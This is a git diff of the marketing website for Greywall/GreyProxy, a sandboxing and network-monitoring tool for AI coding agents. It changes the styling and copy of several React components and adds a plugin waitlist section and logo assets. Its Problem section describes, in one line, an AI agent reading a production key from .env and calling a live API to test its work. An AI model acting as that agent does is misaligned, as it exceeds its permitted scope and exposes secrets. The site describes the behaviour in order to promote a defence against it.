<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||||
</svg>
|
</svg>
|
||||||
<span className="hidden sm:inline">GitHub</span>
|
<span className="hidden sm:inline">GitHub</span>
|
||||||
</a>
|
</a>
|
||||||
|
<CTAButton href="#waitlist" className="whitespace-nowrap">
|
||||||
|
<span className="hidden sm:inline">Talk to us</span>
|
||||||
|
<span className="sm:hidden">Contact</span>
|
||||||
|
<span aria-hidden="true">→</span>
|
||||||
|
</CTAButton>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
|
|
||||||
import { useState, useEffect, useRef } from 'react'
|
import { useState, useEffect, useRef } from 'react'
|
||||||
import Image from 'next/image'
|
import Image from 'next/image'
|
||||||
import { Eye } from 'lucide-react'
|
|
||||||
|
|
||||||
const slides = [
|
const slides = [
|
||||||
{
|
{
|
||||||
@@ -75,19 +74,14 @@ export function Observability() {
|
|||||||
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="max-w-2xl mb-16">
|
<div className="max-w-2xl mb-16">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
<Eye className="h-4 w-4 text-primary" />
|
Clarity
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
Clarity
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
See every network connection.
|
See every network connection.
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
You can't predict which domains your agent will reach for. GreyProxy captures
|
GreyProxy records each outbound request as it happens. You can allow known domains, deny unknown ones, and keep the session running while you decide.
|
||||||
every outbound connection and lets you allow or deny them in real time, without
|
|
||||||
restarting the session.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -158,8 +152,7 @@ export function Observability() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
||||||
Every outbound request is visible. Allow trusted domains, block unknown ones,
|
Each outbound request stays visible. Policy changes apply while the agent keeps running.
|
||||||
and adjust policies live as your agent works.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ export function PlatformToggle() {
|
|||||||
onClick={() => setPlatform('linux')}
|
onClick={() => setPlatform('linux')}
|
||||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||||
platform === 'linux'
|
platform === 'linux'
|
||||||
? 'bg-primary text-primary-foreground shadow-sm'
|
? 'bg-primary text-primary-foreground'
|
||||||
: 'text-muted-foreground hover:text-foreground'
|
: 'text-muted-foreground hover:text-foreground'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
@@ -49,7 +49,7 @@ export function PlatformToggle() {
|
|||||||
onClick={() => setPlatform('macos')}
|
onClick={() => setPlatform('macos')}
|
||||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||||
platform === 'macos'
|
platform === 'macos'
|
||||||
? 'bg-primary text-primary-foreground shadow-sm'
|
? 'bg-primary text-primary-foreground'
|
||||||
: 'text-muted-foreground hover:text-foreground'
|
: 'text-muted-foreground hover:text-foreground'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
import { ShieldCheck, ShieldOff } from 'lucide-react'
|
|
||||||
|
|
||||||
export function Problem() {
|
export function Problem() {
|
||||||
return (
|
return (
|
||||||
@@ -8,18 +7,12 @@ export function Problem() {
|
|||||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||||
{/* Without Greywall */}
|
{/* Without Greywall */}
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center gap-2 mb-3">
|
<span className="text-sm font-sans uppercase tracking-[0.16em] text-red-500 font-semibold mb-3 block">
|
||||||
<ShieldOff className="h-4 w-4 text-red-400/70" />
|
Without Greywall
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
|
</span>
|
||||||
Without Greywall
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<div className="code-block p-5 sm:p-6 flex-1">
|
<div className="code-block p-5 sm:p-6 flex-1">
|
||||||
<div className="flex items-center gap-2 mb-5">
|
<div className="mb-5">
|
||||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
|
||||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
|
||||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||||
<div>
|
<div>
|
||||||
@@ -55,24 +48,18 @@ export function Problem() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||||
The agent read your production Stripe key from .env and hit the live API to "test" its work. Helpful intent, real damage.
|
The agent read a production key from <code className="font-mono text-[11px]">.env</code> and called the live API to test its changes. The action was plausible. The boundary was missing.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* With Greywall */}
|
{/* With Greywall */}
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center gap-2 mb-3">
|
<span className="text-sm font-sans uppercase tracking-[0.16em] text-primary font-semibold mb-3 block">
|
||||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
With Greywall
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
With Greywall
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
||||||
<div className="flex items-center gap-2 mb-5">
|
<div className="mb-5">
|
||||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
|
||||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
|
||||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||||
<div>
|
<div>
|
||||||
@@ -111,7 +98,7 @@ export function Problem() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||||
Kernel-enforced. The agent adapts and does the job without accessing secrets or production systems.
|
The boundary holds at the OS layer, so the agent has to continue without secrets or production access.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -119,13 +106,11 @@ export function Problem() {
|
|||||||
|
|
||||||
{/* Resolution: Verification creates trust */}
|
{/* Resolution: Verification creates trust */}
|
||||||
<div className="text-center max-w-3xl mx-auto">
|
<div className="text-center max-w-3xl mx-auto">
|
||||||
<blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
<blockquote className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-6">
|
||||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||||
</blockquote>
|
</blockquote>
|
||||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-10">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mx-auto mb-10">
|
||||||
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
|
Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.
|
||||||
every interaction between a model and your system, as well as an
|
|
||||||
ergonomic mechanism for <span className="text-foreground font-medium">control</span>.
|
|
||||||
</p>
|
</p>
|
||||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||||
|
|||||||
86
components/waitlist.tsx
Normal file
86
components/waitlist.tsx
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { Gavel, Coins, Building2, Puzzle } from 'lucide-react'
|
||||||
|
import { BetaSignup } from './beta-signup'
|
||||||
|
|
||||||
|
const plugins = [
|
||||||
|
{
|
||||||
|
icon: Puzzle,
|
||||||
|
title: 'Custom policy plugins',
|
||||||
|
desc: 'Heuristics as code. Allow or deny on whatever context you care about.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Gavel,
|
||||||
|
title: 'Model Council',
|
||||||
|
desc: 'A panel of models votes on ambiguous requests. Guardrails without the friction.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Coins,
|
||||||
|
title: 'Token-saving MITM',
|
||||||
|
desc: 'Cache, redact, and rewrite LLM traffic. Smaller bills.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Building2,
|
||||||
|
title: 'Enterprise controls',
|
||||||
|
desc: 'SSO, audit trails, team rulesets, managed deployments.',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export function Waitlist() {
|
||||||
|
return (
|
||||||
|
<section id="waitlist" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="max-w-2xl mb-10">
|
||||||
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
|
Plugin SDK · Beta
|
||||||
|
</span>
|
||||||
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
|
Extend Greyproxy.
|
||||||
|
</h2>
|
||||||
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
|
We're building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Plugin cards */}
|
||||||
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-4 sm:gap-6 mb-6">
|
||||||
|
{plugins.map((p) => (
|
||||||
|
<div
|
||||||
|
key={p.title}
|
||||||
|
className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30"
|
||||||
|
>
|
||||||
|
<div className="flex items-center gap-3 mb-3">
|
||||||
|
<p.icon className="h-5 w-5 text-foreground" />
|
||||||
|
<h3 className="font-sans font-semibold text-sm">{p.title}</h3>
|
||||||
|
</div>
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
{p.desc}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Freedom guarantee */}
|
||||||
|
<div className="mb-12 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
<span className="text-primary font-medium">Core stays free and open source.</span>{' '}
|
||||||
|
Sandbox, GreyProxy, and the dashboard stay Apache 2.0. Team controls and plugins sit on top of that base.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Waitlist CTA */}
|
||||||
|
<BetaSignup
|
||||||
|
subject="Greywall enterprise / plugin SDK waitlist"
|
||||||
|
message="(waitlist section signup)"
|
||||||
|
buttonClassName="px-5 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||||
|
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||||
|
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||||
|
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||||
|
successClassName="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium"
|
||||||
|
errorClassName="text-xs text-red-400/80 font-sans text-center"
|
||||||
|
wrapperClassName="flex flex-col items-center gap-2"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
BIN
public/fonts/Aspekta-500.woff2
Normal file
BIN
public/fonts/Aspekta-500.woff2
Normal file
Binary file not shown.
BIN
public/fonts/Aspekta-600.woff2
Normal file
BIN
public/fonts/Aspekta-600.woff2
Normal file
Binary file not shown.
BIN
public/fonts/Aspekta-700.woff2
Normal file
BIN
public/fonts/Aspekta-700.woff2
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
Binary file not shown.
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
Binary file not shown.
19
public/greyhaven-lockup.svg
Normal file
19
public/greyhaven-lockup.svg
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<svg width="285" height="70" viewBox="0 0 285 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g clip-path="url(#clip0_0_17)">
|
||||||
|
<path d="M97.7812 48.9805L97.368 44.8291C95.9388 47.2257 92.5701 49.6757 87.3541 49.6757C78.818 49.6757 71.2493 43.4 71.2493 32.6034C71.2493 21.8069 79.2312 15.5798 87.7187 15.5798C95.6569 15.5798 100.732 20.1493 102.482 25.5451L97.2659 27.5284C96.1576 23.8389 92.9298 20.6986 87.7138 20.6986C82.4979 20.6986 76.8736 24.4805 76.8736 32.6034C76.8736 40.7264 82.0409 44.6007 87.6701 44.6007C94.2666 44.6007 96.7604 40.0798 97.0375 37.2653H86.2409V32.4187H102.253V48.9805H97.7763H97.7812Z" fill="#161614"/>
|
||||||
|
<path d="M120.57 31.8159C119.972 31.7235 119.37 31.6798 118.815 31.6798C114.664 31.6798 112.773 34.0763 112.773 38.2763V48.9805H107.421V26.5124H112.637V30.1097C113.697 27.6645 116.19 26.2354 119.141 26.2354C119.788 26.2354 120.342 26.3277 120.57 26.3715V31.8159Z" fill="#161614"/>
|
||||||
|
<path d="M143.685 42.5688C142.484 46.4917 138.93 49.6757 133.535 49.6757C127.444 49.6757 122.048 45.2473 122.048 37.6348C122.048 30.5278 127.308 25.8223 132.98 25.8223C139.903 25.8223 143.962 30.3917 143.962 37.4938C143.962 38.3688 143.869 39.1077 143.821 39.2H127.395C127.531 42.6125 130.21 45.0577 133.53 45.0577C136.85 45.0577 138.42 43.3514 139.159 41.1348L143.68 42.5639L143.685 42.5688ZM138.566 35.2771C138.474 32.6473 136.719 30.2945 133.029 30.2945C129.66 30.2945 127.726 32.8757 127.541 35.2771H138.566Z" fill="#161614"/>
|
||||||
|
<path d="M148.366 58.0708L153.767 46.3069L144.171 26.5125H150.213L156.674 40.7215L162.716 26.5125H168.389L154.088 58.0708H148.366Z" fill="#161614"/>
|
||||||
|
<path d="M176.264 48.9805H170.912V15.575H176.264V28.6805C177.785 26.6972 180.323 25.8659 182.676 25.8659C188.213 25.8659 190.886 29.8326 190.886 34.7715V48.9805H185.534V35.6902C185.534 32.9194 184.29 30.7076 180.921 30.7076C177.97 30.7076 176.351 32.9194 176.259 35.7826V48.9805H176.264Z" fill="#161614"/>
|
||||||
|
<path d="M201.337 36.1084L207.103 35.2334C208.396 35.0487 208.765 34.4021 208.765 33.6195C208.765 31.7285 207.472 30.207 204.521 30.207C201.571 30.207 200.137 32.0056 199.908 34.266L195.018 33.1577C195.431 29.2834 198.941 25.8223 204.478 25.8223C211.4 25.8223 214.03 29.7452 214.03 34.2174V45.3834C214.03 47.4153 214.263 48.7521 214.307 48.9806H209.324C209.28 48.8396 209.096 47.9209 209.096 46.1174C208.036 47.8237 205.819 49.6709 202.174 49.6709C197.468 49.6709 194.561 46.4431 194.561 42.8896C194.561 38.8744 197.512 36.6625 201.342 36.1084H201.337ZM208.765 39.6618V38.6459L202.908 39.5209C201.245 39.798 199.908 40.7216 199.908 42.5688C199.908 44.0903 201.06 45.4757 203.185 45.4757C206.184 45.4757 208.765 44.0466 208.765 39.6618Z" fill="#161614"/>
|
||||||
|
<path d="M228.988 48.9805H223.635L214.501 26.5125H220.408L226.358 42.5687L232.172 26.5125H237.801L228.988 48.9805Z" fill="#161614"/>
|
||||||
|
<path d="M259.856 42.5688C258.655 46.4917 255.101 49.6757 249.706 49.6757C243.615 49.6757 238.219 45.2473 238.219 37.6348C238.219 30.5278 243.478 25.8223 249.151 25.8223C256.074 25.8223 260.133 30.3917 260.133 37.4938C260.133 38.3688 260.04 39.1077 259.992 39.2H243.566C243.702 42.6125 246.381 45.0577 249.701 45.0577C253.021 45.0577 254.591 43.3514 255.33 41.1348L259.851 42.5639L259.856 42.5688ZM254.732 35.2771C254.64 32.6473 252.885 30.2945 249.195 30.2945C245.826 30.2945 243.892 32.8757 243.707 35.2771H254.732Z" fill="#161614"/>
|
||||||
|
<path d="M269.393 48.9806H264.041V26.5125H269.257V29.5118C270.735 26.9306 273.408 25.866 275.902 25.866C281.39 25.866 284.02 29.8326 284.02 34.7715V48.9806H278.668V35.6903C278.668 32.9194 277.424 30.7076 274.055 30.7076C271.012 30.7076 269.393 33.0604 269.393 36.0111V48.9757V48.9806Z" fill="#161614"/>
|
||||||
|
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||||
|
</g>
|
||||||
|
<defs>
|
||||||
|
<clipPath id="clip0_0_17">
|
||||||
|
<rect width="284.02" height="70" fill="white"/>
|
||||||
|
</clipPath>
|
||||||
|
</defs>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 5.2 KiB |
9
public/greyhaven-mainbg.svg
Normal file
9
public/greyhaven-mainbg.svg
Normal file
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 1.3 MiB |
3
public/greyhaven-mark.svg
Normal file
3
public/greyhaven-mark.svg
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 1.6 KiB |
BIN
public/greywall-logo.png
Normal file
BIN
public/greywall-logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 8.4 KiB |
@@ -1,24 +1,3 @@
|
|||||||
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
<!-- Shield shape -->
|
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||||
<path
|
|
||||||
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
|
|
||||||
fill="#D95E2A"
|
|
||||||
/>
|
|
||||||
<!-- Inner geometric pattern -->
|
|
||||||
<path
|
|
||||||
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
|
|
||||||
fill="#161614"
|
|
||||||
/>
|
|
||||||
<!-- Data nodes -->
|
|
||||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
|
||||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
|
||||||
<!-- Connection lines -->
|
|
||||||
<path
|
|
||||||
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
|
|
||||||
stroke="#D95E2A"
|
|
||||||
stroke-width="1"
|
|
||||||
stroke-linecap="round"
|
|
||||||
/>
|
|
||||||
</svg>
|
</svg>
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 756 B After Width: | Height: | Size: 1.6 KiB |
Reference in New Issue
Block a user